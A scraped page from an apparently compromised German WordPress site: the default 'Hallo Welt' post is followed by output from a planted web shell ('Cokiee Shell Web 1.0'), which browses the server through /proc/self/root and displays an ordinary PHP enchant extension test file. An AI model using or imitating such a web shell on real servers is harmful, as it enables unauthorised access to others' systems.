Willkommen bei WordPress. Dies ist dein erster Beitrag. Bearbeite oder lösche ihn und beginne mit dem Schreiben!
Hallo Welt!
von raredesign | Dez 3, 2019 | Allgemein | 0 Kommentare
Cokiee Shell
Current Path : /proc/self/root/usr/local/src/php72/php-7.2.12/php-7.2.12/ext/enchant/tests/ |
Current File : //proc/self/root/usr/local/src/php72/php-7.2.12/php-7.2.12/ext/enchant/tests/bug13181.phpt |
--TEST-- bug #13181, leaving a context frees the broker resources --SKIPIF-- <?php if(!extension_loaded('enchant')) die('skip, enchant not loader'); ?> --FILE-- <?php function get_dictionnary() { $rBroker = enchant_broker_init(); $t = enchant_broker_request_dict($rBroker, 'en'); var_dump($t); return $t; } $rDict = get_dictionnary(); var_dump($rDict); enchant_dict_suggest($rDict, "soong"); function get_broker() { $t = enchant_broker_init(); var_dump($t); return $t; } $rbroker = get_broker(); var_dump($rbroker); function get_dict($broker) { $t = enchant_broker_request_dict($broker, 'en'); var_dump($t); return $t; } $rDict = get_dict($rbroker); var_dump($rDict); ?> --EXPECTF-- resource(%d) of type (enchant_dict) resource(%d) of type (enchant_dict) resource(%d) of type (enchant_broker) resource(%d) of type (enchant_broker) resource(%d) of type (enchant_dict) resource(%d) of type (enchant_dict)
Cokiee Shell Web 1.0, Coded By Razor
Neueste Kommentare